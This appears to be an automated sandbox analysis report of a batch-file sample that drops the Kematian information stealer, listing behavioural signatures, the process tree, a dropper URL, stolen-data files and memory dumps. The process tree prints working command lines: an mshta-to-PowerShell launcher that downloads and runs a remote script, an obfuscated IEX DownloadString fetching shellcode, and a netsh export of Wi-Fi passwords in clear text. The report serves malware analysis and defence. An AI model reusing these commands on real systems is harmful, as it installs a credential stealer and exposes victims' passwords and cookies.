Analysis

  • max time kernel
    146s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2025, 12:31

General

  • Target
    main.bat
  • Size 694B
  • Sample250116-pp2ems1naq
  • SHA256 024146b5deb90fc9bcbb45b6b3c07e58f5480c13cb3b7e912fb2fa4122223c56
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/kematian_shellcode.ps1

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:388
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4828
      • C:\Windows\system32\mshta.exe
        mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4916
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" wlan export profile folder=C:\Users\Admin\AppData\Local\Temp\wifi key=clear
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4664
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/kematian_shellcode.ps1'))
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2804

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          _R0I=_SEdOQldCR1c=_MjAyNS0wMS0xNg==_VVRDMA==.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_R0I=_SEdOQldCR1c=_MjAyNS0wMS0xNg==_VVRDMA==.zip
          • Size 1.1MB
          • SHA256 85da101947fddb4c2bb1fcf0ad1735f116568888660f0f687beaab19469b5ea1
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_wwcr3lw5.elt.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wwcr3lw5.elt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          autofill.json

          • Path C:\Users\Admin\AppData\Local\Temp\autofill.json
          • Size 4B
          • SHA256 74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b
          • MD5 SHA1 SHA512

          cookies_netscape_Chrome.txt

          • Path C:\Users\Admin\AppData\Local\temp\cookies_netscape_Chrome.txt
          • Size 259B
          • SHA256 41ef062cf60538028ab51dd04ba370530496ed393bb81b38e7d06c23be2d6fa2
          • MD5 SHA1 SHA512

          memory/2804-31-0x0000017EB5CD0000-0x0000017EB60A4000-memory.dmp

          memory/4916-12-0x000001FCFA8B0000-0x000001FCFADD8000-memory.dmp

          memory/4916-17-0x000001FCF9FE0000-0x000001FCFA024000-memory.dmp

          memory/4916-18-0x000001FCFA0B0000-0x000001FCFA126000-memory.dmp

          memory/4916-14-0x000001FCF9E20000-0x000001FCF9E44000-memory.dmp

          memory/4916-13-0x000001FCF9E20000-0x000001FCF9E4A000-memory.dmp

          memory/4916-11-0x000001FCFA1B0000-0x000001FCFA372000-memory.dmp

          memory/4916-53-0x000001FCF9E60000-0x000001FCF9E72000-memory.dmp

          memory/4916-54-0x000001FCF9E50000-0x000001FCF9E5A000-memory.dmp

          memory/4916-6-0x000001FCE0B20000-0x000001FCE0B42000-memory.dmp